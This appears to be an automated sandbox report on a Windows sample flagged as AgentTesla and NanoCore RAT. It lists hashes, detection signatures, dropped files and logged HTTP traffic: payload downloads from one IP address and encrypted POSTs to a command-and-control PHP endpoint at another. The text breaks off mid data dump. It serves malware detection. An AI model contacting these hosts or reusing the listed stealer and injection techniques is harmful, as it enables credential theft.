Windows Analysis Report
TM57812337.exe

Overview

General Information

Sample Name: TM57812337.exe
Analysis ID: 635102
MD5: de791f645b2235dce3572c7c5961e17b
SHA1: 6568e7698ec8a060e0ed98cf7c11de815867d195
SHA256: c6523795348cbf7e88f40cf12cf9ab092242e54fdc972e6ef4591bb3b5497275
Tags: agentteslaexeNanoCore
Infos:

Detection

Nanocore, AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected AgentTesla
Sigma detected: NanoCore
Detected Nanocore Rat
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Yara detected Nanocore RAT
Snort IDS alert for network traffic
Installs a global keyboard hook
Tries to steal Mail credentials (via file / registry access)
Creates multiple autostart registry keys
Injects files into Windows application
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Machine Learning detection for sample
Allocates memory in foreign processes
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Yara detected Generic Downloader
.NET source code contains very large array initializations
Machine Learning detection for dropped file
Hides that the sample has been downloaded from the Internet (zone.identifier)
Document exploit detected (process start blacklist hit)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
HTTP GET or POST without a user agent
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Installs a raw input device (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
Drops PE files
Uses a known web browser user agent for HTTP communication
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: TM57812337.exe Virustotal: Detection: 39% Perma Link
Source: TM57812337.exe ReversingLabs: Detection: 26%
Antivirus detection for URL or domain
Source: http://45.133.1.41 Avira URL Cloud: Label: malware
Source: http://45.133.1.41/jah/inc/9f3d37faadd0a5.php127.0.0.1POST Avira URL Cloud: Label: malware
Source: http://45.133.1.41/jah/inc/9f3d37faadd0a5.php Avira URL Cloud: Label: malware
Source: http://45.133.1.41/jah/inc/9f3d37faadd0a5.phpS Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Roaming\Njueisg\Qylfpmj.exe ReversingLabs: Detection: 69%
Yara detected Nanocore RAT
Source: Yara match File source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR
Machine Learning detection for sample
Source: TM57812337.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Njueisg\Qylfpmj.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 33.0.InstallUtil.exe.400000.1.unpack Avira: Label: TR/Spy.Gen8
Source: 33.0.InstallUtil.exe.400000.0.unpack Avira: Label: TR/Spy.Gen8
Source: 14.2.InstallUtil.exe.400000.0.unpack Avira: Label: TR/Spy.Gen8
Source: 14.0.InstallUtil.exe.400000.1.unpack Avira: Label: TR/Spy.Gen8
Source: 33.0.InstallUtil.exe.400000.2.unpack Avira: Label: TR/Spy.Gen8
Source: 32.0.InstallUtil.exe.400000.3.unpack Avira: Label: TR/Dropper.MSIL.Gen7
Source: 32.0.InstallUtil.exe.400000.0.unpack Avira: Label: TR/Dropper.MSIL.Gen7
Source: 32.0.InstallUtil.exe.400000.2.unpack Avira: Label: TR/Dropper.MSIL.Gen7
Source: 32.0.InstallUtil.exe.400000.1.unpack Avira: Label: TR/Dropper.MSIL.Gen7
Source: 32.0.InstallUtil.exe.400000.4.unpack Avira: Label: TR/Dropper.MSIL.Gen7
Source: 33.0.InstallUtil.exe.400000.4.unpack Avira: Label: TR/Spy.Gen8
Source: 32.2.InstallUtil.exe.400000.0.unpack Avira: Label: TR/Dropper.MSIL.Gen7
Source: 33.2.InstallUtil.exe.400000.0.unpack Avira: Label: TR/Spy.Gen8
Source: 14.0.InstallUtil.exe.400000.4.unpack Avira: Label: TR/Spy.Gen8
Source: 14.0.InstallUtil.exe.400000.0.unpack Avira: Label: TR/Spy.Gen8
Source: 14.0.InstallUtil.exe.400000.3.unpack Avira: Label: TR/Spy.Gen8
Source: 33.0.InstallUtil.exe.400000.3.unpack Avira: Label: TR/Spy.Gen8
Source: 14.0.InstallUtil.exe.400000.2.unpack Avira: Label: TR/Spy.Gen8
Uses 32bit PE files
Source: TM57812337.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: TM57812337.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: excel.exe, 00000014.00000002.437038810.0000000000BE2000.00000002.00000001.01000000.0000000A.sdmp, excel.exe, 0000001D.00000002.456120032.0000000000F72000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: protobuf-net.pdbSHA256 source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: excel.exe, excel.exe, 0000001D.00000002.456120032.0000000000F72000.00000002.00000001.01000000.0000000A.sdmp, InstallUtil.exe, 00000021.00000002.535075239.0000000006380000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Process created: C:\Windows\System32\conhost.exe
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 4x nop then jmp 0540BE71h 0_2_0540BB68
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 4x nop then jmp 0540BE71h 0_2_0540BDEB
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 0_2_05472158
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 0_2_05472040
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 0_2_0547214E
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 0_2_0547203A
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 4x nop then jmp 05E2B689h 12_2_05E2B380
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 12_2_06040570
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 12_2_06040688
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 12_2_06040568
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 12_2_0604067D
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then jmp 056CBE71h 15_2_056CBB68
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 15_2_062E07A8
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 15_2_062E0690
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 15_2_062E0689
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 15_2_062E079C
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then jmp 051DBE71h 16_2_051DBDEB
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then jmp 051DBE71h 16_2_051DBB68
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 16_2_05B107A8
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 16_2_05B10690
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh 16_2_05B1079C
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 16_2_05B10689
Source: excel.exe Memory has grown: Private usage: 0MB later: 7MB

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2848901 ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) 3.124.188.36:80 -> 192.168.2.3:49718
Source: Traffic Snort IDS: 2848901 ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) 3.124.188.36:80 -> 192.168.2.3:49753
Source: Traffic Snort IDS: 2848901 ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) 3.124.188.36:80 -> 192.168.2.3:49761
Source: Traffic Snort IDS: 2848901 ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) 3.124.188.36:80 -> 192.168.2.3:49762
Source: Traffic Snort IDS: 2034579 ET TROJAN AgentTesla Communicating with CnC Server 192.168.2.3:49763 -> 45.133.1.41:80
Source: Traffic Snort IDS: 2848901 ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) 3.124.188.36:80 -> 192.168.2.3:49766
Source: Traffic Snort IDS: 2848901 ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) 3.124.188.36:80 -> 192.168.2.3:49767
Source: Traffic Snort IDS: 2034579 ET TROJAN AgentTesla Communicating with CnC Server 192.168.2.3:49768 -> 45.133.1.41:80
Source: Traffic Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.2.3:49776 -> 74.201.28.111:141
Yara detected Generic Downloader
Source: Yara match File source: 15.3.Qjarsxlh.exe.4548ea0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.3.Qjarsxlh.exe.3cb8ea0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3fb0b70.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.TM57812337.exe.3768ea0.3.raw.unpack, type: UNPACKEDPE
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/TM57812337_Nbfpwrzt.bmp HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/TM57812337_Nbfpwrzt.bmp HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/TM57812337_Nbfpwrzt.bmp HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-AliveData Raw: 70 3d 67 45 66 71 7a 66 76 48 36 51 41 68 59 38 6b 36 39 49 45 48 38 61 4a 39 61 46 32 6c 74 73 73 33 72 78 4a 4a 33 65 64 74 4b 66 77 25 32 42 71 52 69 47 63 30 42 6c 4c 74 69 4c 36 50 4e 6b 46 63 57 6b 56 33 38 41 42 48 66 44 5a 51 4b 45 49 42 6e 53 63 4e 32 37 76 48 6d 69 41 2f 48 59 75 61 39 72 57 42 44 70 66 31 72 70 76 58 4e 43 7a 71 53 36 63 6f 4a 59 38 70 53 25 32 42 77 78 48 4d 32 69 68 47 6a 4f 7a 57 4b 4d 75 6e 76 72 4c 61 36 52 78 37 41 68 43 63 35 68 64 31 32 75 31 4b 30 61 6b 53 59 50 62 37 57 79 78 4e 69 65 78 59 49 78 63 45 54 43 47 56 2f 37 6e 65 55 53 45 4a 48 6d 75 4f 76 67 7a 68 47 70 4c 32 66 51 45 6f 5a 5a 66 47 5a 2f 2f 34 73 61 4f 64 58 36 50 36 58 32 73 64 57 36 56 6a 38 49 4e 69 4e 6d 63 5a 53 5a 6b 5a 33 57 79 48 30 6e 6d 42 47 68 4a 72 75 75 66 53 69 4d 53 76 30 31 58 41 52 48 4a 4a 5a 4f 4a 71 61 66 73 44 2f 42 6b 6d 4c 79 79 4f 78 55 36 56 57 42 41 36 6d 6e 33 45 34 38 32 32 67 70 74 5a 42 53 65 4f 79 6a 6a 30 4a 71 77 30 6b 5a 7a 5a 79 49 50 36 79 65 43 47 76 25 32 42 78 4a 78 38 4f 7a 43 79 75 56 50 4c 63 49 41 39 34 4c 68 79 78 64 73 39 25 32 42 6e 35 62 53 33 51 4f 63 77 4b 55 76 70 74 57 4a 48 66 56 6a 5a 75 76 57 46 4b 25 32 42 4f 44 6d 39 79 4a 76 58 61 68 79 33 6a 50 6b 4f 42 6b 78 31 34 6a 32 35 42 49 6e 32 68 65 30 65 63 6e 74 50 71 50 6b 6d 59 30 4b 31 65 45 41 78 34 31 4b 41 41 4e 38 76 44 38 65 4a 72 56 30 58 66 73 6d 79 53 70 6d 46 6e 4a 52 75 58 33 36 67 6c 42 41 4f 59 6f 77 6f 4c 77 79 79 44 65 66 51 63 58 32 67 51 6b 32 2f 70 7a 7a 2f 32 4c 72 4f 61 37 65 50 48 34 6f 2f 71 64 4e 7a 76 58 71 7a 72 64 79 42 7a 57 6b 34 31 47 53 44 77 7a 33 71 70 79 38 6a 39 52 6b 64 57 4f 4b 43 61 4f 75 75 2f 32 65 31 73 35 41 34 37 79 77 53 31 2f 6a 6b 42 66 56 52 51 52 4b 77 3d 3d Data Ascii: p=gEfqzfvH6QAhY8k69IEH8aJ9aF2ltss3rxJJ3edtKfw%2BqRiGc0BlLtiL6PNkFcWkV38ABHfDZQKEIBnScN27vHmiA/HYua9rWBDpf1rpvXNCzqS6coJY8pS%2BwxHM2ihGjOzWKMunvrLa6Rx7AhCc5hd12u1K0akSYPb7WyxNiexYIxcETCGV/7neUSEJHmuOvgzhGpL2fQEoZZfGZ//4saOdX6P6X2sdW6Vj8INiNmcZSZkZ3WyH0nmBGhJruufSiMSv01XARHJJZOJqafsD/BkmLyyOxU6VWBA6mn3E4822gptZBSeOyjj0Jqw0kZzZyIP6yeCGv%2BxJx8OzCyuVPLcIA94Lhyxds9%2Bn5bS3QOcwKUvptWJHfVjZuvWFK%2BODm9yJvXahy3jPkOBkx14j25BIn2he0ecntPqPkmY0K1eEAx41KAAN8vD8eJrV0XfsmySpmFnJRuX36glBAOYowoLwyyDefQcX2gQk2/pzz/2LrOa7ePH4o/qdNzvXqzrdyBzWk41GSDwz3qpy8j9RkdWOKCaOuu/2e1s5A47ywS1/jkBfVRQRKw==
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-AliveData Raw: 70 3d 67 45 66 71 7a 66 76 48 36 51 41 68 59 38 6b 36 39 49 45 48 38 61 4a 39 61 46 32 6c 74 73 73 33 72 78 4a 4a 33 65 64 74 4b 66 77 25 32 42 71 52 69 47 63 30 42 6c 4c 74 69 4c 36 50 4e 6b 46 63 57 6b 56 33 38 41 42 48 66 44 5a 51 4b 45 49 42 6e 53 63 4e 32 37 76 48 6d 69 41 2f 48 59 75 61 39 72 57 42 44 70 66 31 72 70 76 58 4e 43 7a 71 53 36 63 6f 4a 59 38 70 53 25 32 42 77 78 48 4d 32 69 68 47 6a 4f 7a 57 4b 4d 75 6e 76 72 4c 61 36 52 78 37 41 68 43 63 35 68 64 31 32 75 31 4b 30 61 6b 53 59 50 62 37 57 79 78 4e 69 65 78 59 49 78 63 45 54 43 47 56 2f 37 6e 65 55 53 45 4a 48 6d 75 4f 76 67 7a 68 47 70 4c 32 66 51 45 6f 5a 5a 66 47 5a 2f 2f 34 73 61 4f 64 58 36 50 36 58 32 73 64 57 36 56 6a 38 49 4e 69 4e 6d 63 5a 53 5a 6b 5a 33 57 79 48 30 6e 6d 42 47 68 4a 72 75 75 66 53 69 4d 53 76 30 31 58 41 52 48 4a 4a 5a 4f 4a 71 61 66 73 44 2f 42 6b 6d 4c 79 79 4f 78 55 36 56 57 42 41 36 6d 6e 33 45 34 38 32 32 67 70 74 5a 42 53 65 4f 79 6a 6a 30 4a 71 77 30 6b 5a 7a 5a 79 49 50 36 79 65 43 47 76 25 32 42 78 4a 78 38 4f 7a 43 79 75 56 50 4c 63 49 41 39 34 4c 68 79 78 64 73 39 25 32 42 6e 35 62 53 33 51 4f 63 77 4b 55 76 70 74 57 4a 48 66 56 6a 5a 75 76 57 46 4b 25 32 42 4f 44 6d 39 79 4a 76 58 61 68 79 33 6a 50 6b 4f 42 6b 78 31 34 6a 32 35 42 49 6e 32 68 65 30 65 63 6e 74 50 71 50 6b 6d 59 30 4b 31 65 45 41 78 34 31 4b 41 41 4e 38 76 44 38 65 4a 72 56 30 58 66 73 6d 79 53 70 6d 46 6e 4a 52 75 58 33 36 67 6c 42 41 4f 59 6f 77 6f 4c 77 79 79 44 65 66 51 63 58 32 67 51 6b 32 2f 70 7a 7a 2f 32 4c 72 4f 61 37 65 50 48 34 6f 2f 71 64 4e 7a 76 58 71 7a 72 64 79 42 7a 57 6b 34 31 47 53 44 77 7a 33 71 70 79 38 6a 39 52 6b 64 57 4f 4b 43 61 4f 75 75 2f 32 65 31 73 35 41 34 37 79 77 53 31 2f 6a 6b 42 66 56 52 51 52 4b 77 3d 3d Data Ascii: p=gEfqzfvH6QAhY8k69IEH8aJ9aF2ltss3rxJJ3edtKfw%2BqRiGc0BlLtiL6PNkFcWkV38ABHfDZQKEIBnScN27vHmiA/HYua9rWBDpf1rpvXNCzqS6coJY8pS%2BwxHM2ihGjOzWKMunvrLa6Rx7AhCc5hd12u1K0akSYPb7WyxNiexYIxcETCGV/7neUSEJHmuOvgzhGpL2fQEoZZfGZ//4saOdX6P6X2sdW6Vj8INiNmcZSZkZ3WyH0nmBGhJruufSiMSv01XARHJJZOJqafsD/BkmLyyOxU6VWBA6mn3E4822gptZBSeOyjj0Jqw0kZzZyIP6yeCGv%2BxJx8OzCyuVPLcIA94Lhyxds9%2Bn5bS3QOcwKUvptWJHfVjZuvWFK%2BODm9yJvXahy3jPkOBkx14j25BIn2he0ecntPqPkmY0K1eEAx41KAAN8vD8eJrV0XfsmySpmFnJRuX36glBAOYowoLwyyDefQcX2gQk2/pzz/2LrOa7ePH4o/qdNzvXqzrdyBzWk41GSDwz3qpy8j9RkdWOKCaOuu/2e1s5A47ywS1/jkBfVRQRKw==
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-AliveData Raw: 70 3d 67 45 66 71 7a 66 76 48 36 51 41 68 59 38 6b 36 39 49 45 48 38 61 4a 39 61 46 32 6c 74 73 73 33 72 78 4a 4a 33 65 64 74 4b 66 77 25 32 42 71 52 69 47 63 30 42 6c 4c 74 69 4c 36 50 4e 6b 46 63 57 6b 56 33 38 41 42 48 66 44 5a 51 4b 45 49 42 6e 53 63 4e 32 37 76 48 6d 69 41 2f 48 59 75 61 39 72 57 42 44 70 66 31 72 70 76 58 4e 43 7a 71 53 36 63 6f 4a 59 38 70 53 25 32 42 77 78 48 4d 32 69 68 47 6a 4f 7a 57 4b 4d 75 6e 76 72 4c 61 36 52 78 37 41 68 43 63 35 68 64 31 32 75 31 4b 30 61 6b 53 59 50 62 37 57 79 78 4e 69 65 78 59 49 78 63 45 54 43 47 56 2f 37 6e 65 55 53 45 4a 48 6d 75 4f 76 67 7a 68 47 70 4c 32 66 51 45 6f 5a 5a 66 47 5a 2f 2f 34 73 61 4f 64 58 36 50 36 58 32 73 64 57 36 56 6a 38 49 4e 69 4e 6d 63 5a 53 5a 6b 5a 33 57 79 48 30 6e 6d 42 47 68 4a 72 75 75 66 53 69 4d Data Ascii: 